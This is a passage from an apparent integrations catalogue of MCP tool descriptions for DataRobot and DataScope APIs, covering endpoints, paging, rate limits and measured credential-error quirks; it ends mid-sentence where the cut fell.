datarobot_post_datasets_from_url (write) — Create a dataset from a URL via POST /api/v2/datasets/fromURL/ POST /api/v1/datarobot/api/v2/datasets/fromURL. Scopes: api. datarobot_post_deployments_by_deploymentid_actuals_from_dataset (write) — Submit actuals from a dataset via POST /api/v2/deployments/{deploymentId}/actuals/fromDataset/ POST /api/v1/datarobot/api/v2/deployments/{deploymentId}/actuals/fromDataset. Scopes: api. datarobot_post_deployments_by_deploymentid_actuals_from_json (write) — Submit actuals as JSON via POST /api/v2/deployments/{deploymentId}/actuals/fromJSON/ POST /api/v1/datarobot/api/v2/deployments/{deploymentId}/actuals/fromJSON. Scopes: api. datarobot_post_deployments_by_deploymentid_challengers (write) — Create deployment challenger via POST /api/v2/deployments/{deploymentId}/challengers/ POST /api/v1/datarobot/api/v2/deployments/{deploymentId}/challengers. Scopes: api. datarobot_post_deployments_by_deploymentid_custom_metrics (write) — Create deployment custom metric via POST /api/v2/deployments/{deploymentId}/customMetrics/ POST /api/v1/datarobot/api/v2/deployments/{deploymentId}/customMetrics. Scopes: api. datarobot_post_deployments_by_deploymentid_custom_metrics_by_custommetricid_from_json (write) — Submit custom metric values as JSON via POST /api/v2/deployments/{deploymentId}/customMetrics/{customMetricId}/fromJSON/ POST /api/v1/datarobot/api/v2/deployments/{deploymentId}/customMetrics/{customMetricId}/fromJSON. Scopes: api. datarobot_post_deployments_by_deploymentid_prediction_data_exports (write) — Create deployment prediction data export via POST /api/v2/deployments/{deploymentId}/predictionDataExports/ POST /api/v1/datarobot/api/v2/deployments/{deploymentId}/predictionDataExports. Scopes: api. datarobot_post_deployments_by_deploymentid_retraining_policies (write) — Create deployment retraining policy via POST /api/v2/deployments/{deploymentId}/retrainingPolicies/ POST /api/v1/datarobot/api/v2/deployments/{deploymentId}/retrainingPolicies. Scopes: api. datarobot_post_deployments_by_deploymentid_retraining_policies_by_retrainingpolicyid_runs (write) — Trigger a retraining policy run via POST /api/v2/deployments/{deploymentId}/retrainingPolicies/{retrainingPolicyId}/runs/ POST /api/v1/datarobot/api/v2/deployments/{deploymentId}/retrainingPolicies/{retrainingPolicyId}/runs. Scopes: api. datarobot_post_deployments_from_learning_model (write) — Create a deployment from a leaderboard model via POST /api/v2/deployments/fromLearningModel/ POST /api/v1/datarobot/api/v2/deployments/fromLearningModel. Scopes: api. datarobot_post_deployments_from_model_package (write) — Create a deployment from a model package via POST /api/v2/deployments/fromModelPackage/ POST /api/v1/datarobot/api/v2/deployments/fromModelPackage. Scopes: api. datarobot_post_entity_tags (write) — Create entity tag via POST /api/v2/entityTags/ POST /api/v1/datarobot/api/v2/entityTags. Scopes: api. datarobot_post_execution_environments (write) — Create execution environment via POST /api/v2/executionEnvironments/ POST /api/v1/datarobot/api/v2/executionEnvironments. Scopes: api. datarobot_post_external_data_sources (write) — Create external data source via POST /api/v2/externalDataSources/ POST /api/v1/datarobot/api/v2/externalDataSources. Scopes: api. datarobot_post_external_data_stores (write) — Create external data store via POST /api/v2/externalDataStores/ POST /api/v1/datarobot/api/v2/externalDataStores. Scopes: api. datarobot_post_external_data_stores_by_datastoreid_test (write) — Test a data store connection via POST /api/v2/externalDataStores/{dataStoreId}/test/ POST /api/v1/datarobot/api/v2/externalDataStores/{dataStoreId}/test. Scopes: api. datarobot_post_genai_chat_prompts (write) — Create genai chat prompt via POST /api/v2/genai/chatPrompts/ POST /api/v1/datarobot/api/v2/genai/chatPrompts. Scopes: api. datarobot_post_genai_chats (write) — Create genai chat via POST /api/v2/genai/chats/ POST /api/v1/datarobot/api/v2/genai/chats. Scopes: api. datarobot_post_genai_llm_blueprints (write) — Create genai llm blueprint via POST /api/v2/genai/llmBlueprints/ POST /api/v1/datarobot/api/v2/genai/llmBlueprints. Scopes: api. datarobot_post_genai_playgrounds (write) — Create genai playground via POST /api/v2/genai/playgrounds/ POST /api/v1/datarobot/api/v2/genai/playgrounds. Scopes: api. datarobot_post_genai_vector_databases (write) — Create genai vector database via POST /api/v2/genai/vectorDatabases/ POST /api/v1/datarobot/api/v2/genai/vectorDatabases. Scopes: api. datarobot_post_groups (write) — Create group via POST /api/v2/groups/ POST /api/v1/datarobot/api/v2/groups. Scopes: api. datarobot_post_groups_by_groupid_users (write) — Add users to a group via POST /api/v2/groups/{groupId}/users/ POST /api/v1/datarobot/api/v2/groups/{groupId}/users. Scopes: api. datarobot_post_insights_feature_effects (write) — Compute feature effects (insights API) via POST /api/v2/insights/featureEffects/ POST /api/v1/datarobot/api/v2/insights/featureEffects. Scopes: api. datarobot_post_insights_feature_impact (write) — Compute feature impact (insights API) via POST /api/v2/insights/featureImpact/ POST /api/v1/datarobot/api/v2/insights/featureImpact. Scopes: api. datarobot_post_insights_lift_chart (write) — Compute a lift chart (insights API) via POST /api/v2/insights/liftChart/ POST /api/v1/datarobot/api/v2/insights/liftChart. Scopes: api. datarobot_post_insights_roc_curve (write) — Compute a ROC curve (insights API) via POST /api/v2/insights/rocCurve/ POST /api/v1/datarobot/api/v2/insights/rocCurve. Scopes: api. datarobot_post_insights_shap_impact (write) — Compute SHAP impact (insights API) via POST /api/v2/insights/shapImpact/ POST /api/v1/datarobot/api/v2/insights/shapImpact. Scopes: api. datarobot_post_model_packages_from_leaderboard (write) — Register a leaderboard model as a model package via POST /api/v2/modelPackages/fromLeaderboard/ POST /api/v1/datarobot/api/v2/modelPackages/fromLeaderboard. Scopes: api. datarobot_post_model_packages_from_learning_model (write) — Register a learning model as a model package via POST /api/v2/modelPackages/fromLearningModel/ POST /api/v1/datarobot/api/v2/modelPackages/fromLearningModel. Scopes: api. datarobot_post_projects (write) — Create project via POST /api/v2/projects/ POST /api/v1/datarobot/api/v2/projects. Scopes: api. datarobot_post_projects_by_projectid_autopilot (write) — Start autopilot on a featurelist via POST /api/v2/projects/{projectId}/autopilot/ POST /api/v1/datarobot/api/v2/projects/{projectId}/autopilot. Scopes: api. datarobot_post_projects_by_projectid_datetime_models (write) — Train a datetime model via POST /api/v2/projects/{projectId}/datetimeModels/ POST /api/v1/datarobot/api/v2/projects/{projectId}/datetimeModels. Scopes: api. datarobot_post_projects_by_projectid_datetime_models_by_modelid_backtests (write) — Score all backtests for a datetime model via POST /api/v2/projects/{projectId}/datetimeModels/{modelId}/backtests/ POST /api/v1/datarobot/api/v2/projects/{projectId}/datetimeModels/{modelId}/backtests. Scopes: api. datarobot_post_projects_by_projectid_datetime_models_from_model (write) — Retrain a datetime model via POST /api/v2/projects/{projectId}/datetimeModels/fromModel/ POST /api/v1/datarobot/api/v2/projects/{projectId}/datetimeModels/fromModel. Scopes: api. datarobot_post_projects_by_projectid_datetime_partitioning (write) — Generate a datetime partitioning plan via POST /api/v2/projects/{projectId}/datetimePartitioning/ POST /api/v1/datarobot/api/v2/projects/{projectId}/datetimePartitioning. Scopes: api. datarobot_post_projects_by_projectid_featurelists (write) — Create project featurelist via POST /api/v2/projects/{projectId}/featurelists/ POST /api/v1/datarobot/api/v2/projects/{projectId}/featurelists. Scopes: api. datarobot_post_projects_by_projectid_modeling_featurelists (write) — Create project modeling featurelist via POST /api/v2/projects/{projectId}/modelingFeaturelists/ POST /api/v1/datarobot/api/v2/projects/{projectId}/modelingFeaturelists. Scopes: api. datarobot_post_projects_by_projectid_models (write) — Train a model via POST /api/v2/projects/{projectId}/models/ POST /api/v1/datarobot/api/v2/projects/{projectId}/models. Scopes: api. datarobot_post_projects_by_projectid_models_by_modelid_advanced_tuning (write) — Start an advanced-tuning session via POST /api/v2/projects/{projectId}/models/{modelId}/advancedTuning/ POST /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/advancedTuning. Scopes: api. datarobot_post_projects_by_projectid_models_by_modelid_cross_validation (write) — Run cross validation via POST /api/v2/projects/{projectId}/models/{modelId}/crossValidation/ POST /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/crossValidation. Scopes: api. datarobot_post_projects_by_projectid_models_by_modelid_feature_effects (write) — Compute feature effects via POST /api/v2/projects/{projectId}/models/{modelId}/featureEffects/ POST /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/featureEffects. Scopes: api. datarobot_post_projects_by_projectid_models_by_modelid_feature_impact (write) — Compute feature impact via POST /api/v2/projects/{projectId}/models/{modelId}/featureImpact/ POST /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/featureImpact. Scopes: api. datarobot_post_projects_by_projectid_models_by_modelid_prediction_explanations_initialization (write) — Initialize prediction explanations for a model via POST /api/v2/projects/{projectId}/models/{modelId}/predictionExplanationsInitialization/ POST /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/predictionExplanationsInitialization. Scopes: api. datarobot_post_projects_by_projectid_models_by_modelid_shap_impact (write) — Compute SHAP impact via POST /api/v2/projects/{projectId}/models/{modelId}/shapImpact/ POST /api/v1/datarobot/api/v2/projects/{projectId}/models/{modelId}/shapImpact. Scopes: api. datarobot_post_projects_by_projectid_models_from_model (write) — Retrain a model on new data via POST /api/v2/projects/{projectId}/models/fromModel/ POST /api/v1/datarobot/api/v2/projects/{projectId}/models/fromModel. Scopes: api. datarobot_post_projects_by_projectid_prediction_datasets_dataset_uploads (write) — Attach an AI Catalog dataset for scoring via POST /api/v2/projects/{projectId}/predictionDatasets/datasetUploads/ POST /api/v1/datarobot/api/v2/projects/{projectId}/predictionDatasets/datasetUploads. Scopes: api. datarobot_post_projects_by_projectid_prediction_datasets_url_uploads (write) — Attach a scoring dataset from a URL via POST /api/v2/projects/{projectId}/predictionDatasets/urlUploads/ POST /api/v1/datarobot/api/v2/projects/{projectId}/predictionDatasets/urlUploads. Scopes: api. datarobot_post_projects_by_projectid_prediction_explanations (write) — Compute prediction explanations via POST /api/v2/projects/{projectId}/predictionExplanations/ POST /api/v1/datarobot/api/v2/projects/{projectId}/predictionExplanations. Scopes: api. datarobot_post_projects_by_projectid_predictions (write) — Request predictions via POST /api/v2/projects/{projectId}/predictions/ POST /api/v1/datarobot/api/v2/projects/{projectId}/predictions. Scopes: api. datarobot_post_projects_by_projectid_training_predictions (write) — Compute training predictions via POST /api/v2/projects/{projectId}/trainingPredictions/ POST /api/v1/datarobot/api/v2/projects/{projectId}/trainingPredictions. Scopes: api. datarobot_post_use_cases (write) — Create use case via POST /api/v2/useCases/ POST /api/v1/datarobot/api/v2/useCases. Scopes: api. datarobot_post_use_cases_by_usecaseid_by_referencecollectiontype_by_entityid (write) — Add an entity to a use case via POST /api/v2/useCases/{useCaseId}/{referenceCollectionType}/{entityId}/ POST /api/v1/datarobot/api/v2/useCases/{useCaseId}/{referenceCollectionType}/{entityId}. Scopes: api. datarobot_post_user_blueprints (write) — Create user blueprint via POST /api/v2/userBlueprints/ POST /api/v1/datarobot/api/v2/userBlueprints. Scopes: api. ================================================================================ ## DataScope URL: https://www.agenticfabriq.com/integrations/datascope Section: Integrated Tools DataScope — 25 MCP tools Provider key: datascope. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. datascope_get_files (read) — List recently generated files via GET /api/external/files. List the PDF and Excel files DataScope generated in a date range, each with the form it came from, the user and a `url` on www.mydatascope.com. Nearly the same shape as List recent notifications, which reports the files a user was NOTIFIED about; this reports the files that were generated. The window defaults to the last 7 days, and this returns the LINKS, not the files. CREDENTIAL-BLIND, MEASURED 2026-09-23: this route answers `200 []` to a WRONG key and -- negative-controlled -- to no credential at all, where `/task_assigns` on the same host answers 401 to the same request. An empty result here therefore does NOT mean the account is empty. Before reporting that nothing was found, call List task assignments or List tickets for a period, which do reject a bad key with 401, to confirm the connection is actually authenticated. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/files. Scopes: api. datascope_get_findings_get_by_id (read) — Get one ticket via GET /api/external/findings/get/{id}. Read one ticket by its Firestore document id. The SHAPE DIFFERS FROM THE LIST: dates come back as ISO 8601 here and formatted to account preferences there, `type` is the type ID here and the resolved type NAME there, and assignees and invitees are comma-separated names here rather than structured objects. So do not parse both replies with one reader. 404 means not found, 403 means the credential may not read it. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/findings/get/{id}. Scopes: api. datascope_get_findings_list (read) — List tickets for a period via GET /api/external/findings/list. List the account's tickets (DataScope's issue tracker, formerly called Issues and still spelled `findings` in the URL) created within a date range, each with its status, priority, location, creator, assignees, invitees and the form answer it came from. DATES ARE `dd-mm-yyyy` HERE, which is not the format the answers or task tools take; the range defaults to the last 7 days and MAY NOT EXCEED 90 -- a wider one answers 422. Paged with `limit` (default and max 200) and `offset` (max 2000). The `id` is a Firestore document id and is what Get one ticket takes. Assignees and invitees arrive twice, as a structured object and as a `&&`-separated string; prefer the object. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/findings/list. Scopes: api. datascope_get_findings_types (read) — List ticket types via GET /api/external/findings/types. List the ticket types configured in the account, each as `{"id": "", "name": ""}`, optionally narrowed by a `search` on the name. Create a ticket accepts either the id or the name in its `type` field, and a type carries preset data that is applied to tickets created with it. CREDENTIAL-BLIND, MEASURED 2026-09-23: this route answers `200 []` to a WRONG key and -- negative-controlled -- to no credential at all, where `/task_assigns` on the same host answers 401 to the same request. An empty result here therefore does NOT mean the account is empty. Before reporting that nothing was found, call List task assignments or List tickets for a period, which do reject a bad key with 401, to confirm the connection is actually authenticated. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/findings/types. Scopes: api. datascope_get_last_findings (read) — Get the five most recent tickets via GET /api/external/last_findings. Return the five most recently created tickets, with no parameters and no filtering -- the cheap "what just happened" read. Use List tickets for a period for anything selective. MEASURED 2026-09-23: with a wrong key this route answers `500 {"status":500,"error":"Internal Server Error"}` rather than a 401, so a 500 here does NOT distinguish a DataScope outage from a credential problem -- confirm the connection with List task assignments before treating a 500 as an outage. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/last_findings. Scopes: api. datascope_get_list_states (read) — List the account's answer statuses via GET /api/external/list_states. List the answer statuses configured in this account -- the values that appear as `form_state` on an answer. Each row is `{"type": "unicode", "key": , "identifier": ""}`, and `key` is exactly what Change an answer's status expects as `form_state_id`. Takes no parameters. TWO THINGS THE REPLY DOES NOT TELL YOU. A status deleted in the web app is still listed here, because the response is not filtered by the deleted flag (the answers export reports `-` as the form_state of an answer whose status was deleted). And MEASURED 2026-09-23 this route VALIDATES BEFORE IT AUTHENTICATES: it answers 400 {"error":true} to a bogus key, so a 400 here is not evidence about the credential. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/list_states. Scopes: api. datascope_get_locations (read) — List all locations via GET /api/external/locations. List every location in the account: `id`, `name`, `description`, `code`, `address`, `city`, `region`, `country`, latitude and longitude, `phone`, `company_code` and `company_name`. The `id` is what Update a location and the `location_id` filters on the answers and task tools expect. Takes no parameters -- there is no filter and no paging on this endpoint. CREDENTIAL-BLIND, MEASURED 2026-09-23: this route answers `200 []` to a WRONG key and -- negative-controlled -- to no credential at all, where `/task_assigns` on the same host answers 401 to the same request. An empty result here therefore does NOT mean the account is empty. Before reporting that nothing was found, call List task assignments or List tickets for a period, which do reject a bad key with 401, to confirm the connection is actually authenticated. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/locations. Scopes: api. datascope_get_metadata_object (read) — Get one element of a list via GET /api/external/metadata_object. Read one element of a custom list by its id, returning the same fields as List the elements of a list for a single row. Both the list's internal code and the element's id are query parameters here -- this endpoint does not take the id in the path, unlike the update below. CREDENTIAL-BLIND, MEASURED 2026-09-23: this route answers `200 []` to a WRONG key and -- negative-controlled -- to no credential at all, where `/task_assigns` on the same host answers 401 to the same request. An empty result here therefore does NOT mean the account is empty. Before reporting that nothing was found, call List task assignments or List tickets for a period, which do reject a bad key with 401, to confirm the connection is actually authenticated. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/metadata_object. Scopes: api. datascope_get_metadata_objects (read) — List the elements of a list via GET /api/external/metadata_objects. List the elements of one of the account's custom lists -- the products, equipment, categories and so on that a form's dropdown questions choose from. Each element carries `id`, `name`, `description`, `code`, `attribute1`, `attribute2`, `list_id` and its timestamps. `metadata_type` is the list's internal code; the answers export reports it alongside `metadata_id` on every answer to a list-backed question, which is how you find the code for a list you have seen used. CREDENTIAL-BLIND, MEASURED 2026-09-23: this route answers `200 []` to a WRONG key and -- negative-controlled -- to no credential at all, where `/task_assigns` on the same host answers 401 to the same request. An empty result here therefore does NOT mean the account is empty. Before reporting that nothing was found, call List task assignments or List tickets for a period, which do reject a bad key with 401, to confirm the connection is actually authenticated. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/metadata_objects. Scopes: api. datascope_get_notifications (read) — List recent notifications via GET /api/external/notifications. List the PDF and Excel documents DataScope has notified users about in a date range, each with the form it came from, the user it went to and a `url` on www.mydatascope.com pointing at the file. The window defaults to the last 7 days. This returns the LINKS, not the files -- nothing here downloads anything. CREDENTIAL-BLIND, MEASURED 2026-09-23: this route answers `200 []` to a WRONG key and -- negative-controlled -- to no credential at all, where `/task_assigns` on the same host answers 401 to the same request. An empty result here therefore does NOT mean the account is empty. Before reporting that nothing was found, call List task assignments or List tickets for a period, which do reject a bad key with 401, to confirm the connection is actually authenticated. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/notifications. Scopes: api. datascope_get_signatures_list (read) — List signature requests via GET /api/external/signatures/list. List the account's signature requests with their signers nested, ordered by `updated_at` ascending and paged with a keyset cursor. This is what answers "which of the five signers is still missing": each request carries `status` (pending / completed / rejected / deleted), `required_signatures_count` already resolved for any quorum, `signer_ids` and a `signers[]` array whose rows say who signed and when. PAGING: read `next_cursor` from the reply and send it back as `since`; a page with fewer rows than `limit` is the last. The cursor is `|` rather than a timestamp alone because `updated_at` has one-second resolution and a bulk signature writes a batch inside one second -- a timestamp-only cursor would skip the rest of such a batch permanently. USE `signer_ids` TO RETIRE SIGNERS: a signer removed while editing a request is deleted outright rather than flagged, so diffing your stored rows against that list is the only way to notice one is gone. `custom_fields` accepts only `signer_identity` and `documents`, and an unrecognised value answers 400 listing the accepted ones. `signer_identity` RETURNS PERSONAL DATA -- names, national id numbers, personal emails, company and role -- so ask for it only when it is needed. `start`/`end` accept ISO 8601 only; a format like 08/01/2026 is rejected with a 400 rather than guessed. The key's user must hold EXPORT permission in DataScope (the reference says so: "The user whose token you use needs export permission in DataScope"); without it this is refused even on a Professional plan. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/signatures/list. Scopes: api. datascope_get_task_assigns (read) — List task assignments via GET /api/external/task_assigns. List the account's task assignments with the same fields as the platform's Excel export plus the internal `id`: the assigned user, form and location, whether each was completed and on time, the delay, and the code of the answer that closed it. Paged with `limit` (default 100, max 300) and `offset`, and the reply's `total` is the count matching the filters -- with no filters that is every historical task in the account, so send `start` and `end` unless you mean all of it. THIS IS ALSO THE TOOL TO USE TO CONFIRM A CONNECTION WORKS: measured 2026-09-23 it answers 401 to a wrong key and to no credential at all, where six of this provider's other read routes answer `200 []` to both. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/task_assigns. Scopes: api. datascope_get_task_assigns_by_id (read) — Get one task assignment via GET /api/external/task_assigns/{id}. Read the full detail of one task assignment: who it is assigned to, the form and location, whether it was completed and on time, the delay, the response window and the id of the answer that closed it (`response_code`). Returns the same fields as List task assignments. A 404 means the assignment does not belong to this account -- which is also what a wrong id looks like. Use `id`, the internal database id, not `assign_id`, which is your own code and may repeat across periods. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/task_assigns/{id}. Scopes: api. datascope_get_v5_answers (read) — Export form answers via GET /api/external/v5/answers. Export the answers submitted to your DataScope forms: one record per form answer with `form_answer_id`, `form_id`, `form_name`, `form_code`, `form_state`, `user_name`, `user_identifier`, `created_at`, `updated_at`, latitude/longitude and the questions themselves. THIS IS THE ONLY ANSWERS TOOL, and it covers every version DataScope has published: the reference says V5 "can reproduce the response shape of every previous version (v1, v2, v3, v4)", so pass `version` to pick the baseline shape and `custom_fields` to add data on top, instead of looking for a v2 or v4 tool. By default each question becomes its own top-level key, which means the response shape changes per form; send `custom_fields=answers_data_in_array` to get a stable shape with the questions nested in an `answers` array. PAGING: `limit` defaults to and maxes at 200, and for anything incremental send `date_modified=true` and `order_date=true` TOGETHER and page with `since=|` taken from the last record of the previous page -- filtering by modification date while sorting by something else drops records at page boundaries, and a malformed cursor answers 400 {"error": "invalid_since_cursor"}. The date window defaults to the last 7 days (`days_limit`) and cannot exceed 90 days. The key's user must hold EXPORT permission in DataScope (the reference says so: "The user whose token you use needs export permission in DataScope"); without it this is refused even on a Professional plan. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. GET /api/v1/datascope/v5/answers. Scopes: api. datascope_post_assign_task (write) — Assign a form to a user via POST /api/external/assign_task. Schedule a form for a user to fill in at a location and time -- the task that then appears in their DataScope app. `user_id` is the user's EMAIL despite the name, `form_id` is the number in the form editor URL, and `gap` is how many hours they have to complete it. THE LOCATION FIELDS CREATE OR UPDATE A LOCATION: `l_code` names it and the `location_*`, `l_phone`, `l_email`, `c_name` and `c_code` fields are applied to it, so a typo in `l_code` makes a new location rather than failing. READ THE REPLY, NOT THE STATUS: MEASURED 2026-09-23, this route answers HTTP 200 with `{"error":"invalid token"}` when the credential is wrong, so a 200 here does not mean the task was created -- check for an `error` key in the body before reporting success. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/assign_task. Scopes: api. datascope_post_change_form_answer (write) — Change one answer to one question via POST /api/external/change_form_answer. Overwrite the value of ONE question inside one already-submitted form answer, naming the answer by its form's name and the answer's code. The reply is `{"status": "ok", "form_answer": {"id": ..., "form_id": ...}}`. There is no undo and no read-back of the previous value, so read the answer with Export form answers first if you need it. `subform_index` starts at 1 and is left unset for a question that is not inside a subform. MEASURED 2026-09-23: this route VALIDATES BEFORE IT AUTHENTICATES -- a call with no parameters answers a bodyless 400 whatever the key is -- so a 400 here is about the arguments and says nothing about the credential. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/change_form_answer. Scopes: api. datascope_post_change_state (write) — Change an answer's status via POST /api/external/change_state. Move one submitted answer to a different status, exactly as changing it in the web app would: the change is recorded in the answer's history, the webhooks configured for status changes fire, and the user who submitted the answer receives a push notification when the account has status-change notifications enabled. So this is not a silent field update -- it notifies people. Get `form_state_id` from List the account's answer statuses. A 400 comes back with an EMPTY body whenever the form name, the answer code or the status id does not match something in the account, so check all three; MEASURED 2026-09-23 this route validates before it authenticates, so that 400 is not evidence about the key either. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/change_state. Scopes: api. datascope_post_findings_create (write) — Create a ticket via POST /api/external/findings/create. Create a ticket and assign it to people. `name`, `description`, `expiration_date` and `assignees` are all required; assignees and invitees are MobileUser ids or emails, up to 100 each, and `author_email` falls back to the owner of the API key -- so a ticket created through a shared key is attributed to that key's owner unless you say otherwise. Passing `type` applies that ticket type's preset data. 201 on success, 422 on wrong parameters, 403 when the credential may not write. MEASURED 2026-09-23: with a wrong key this route answers `500 {"status":500,"error":"Internal Server Error"}` rather than a 401, so a 500 here does not distinguish an outage from a credential problem. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/findings/create. Scopes: api. datascope_post_locations (write) — Create a location via POST /api/external/locations. Create a location -- the places a form can be answered at and a task assigned to. The reply is the created location including its new `id`. DataScope answers 201 on success, 422 on wrong parameters and 403 when the credential may not write. Locations are their own resource: the list tools below (`metadata_type`) explicitly refuse `locations`, so this is the only way to create one. The DataScope API is available on the Professional plan and above; on a free or Starter account every call is refused however correct the key is. DataScope counts its rate limit per SOURCE IP rather than per key -- its own reference says "the limit is counted per source IP, not per token" -- and answers 429 with an HTML page titled "500 Error" and no Retry-After header. A 429 is a THROTTLE, never a bad key: wait and retry rather than re-pasting the key, and expect other DataScope connections from this deployment to share the same budget. POST /api/v1/datascope/locations. Scopes: api. datascope_post_locations_by_id (write) — Update a location via POST /api/external/locations/{id}. Update a location by its internal id. The whole `location` object is sent, so read the current values with List all locations first and send them 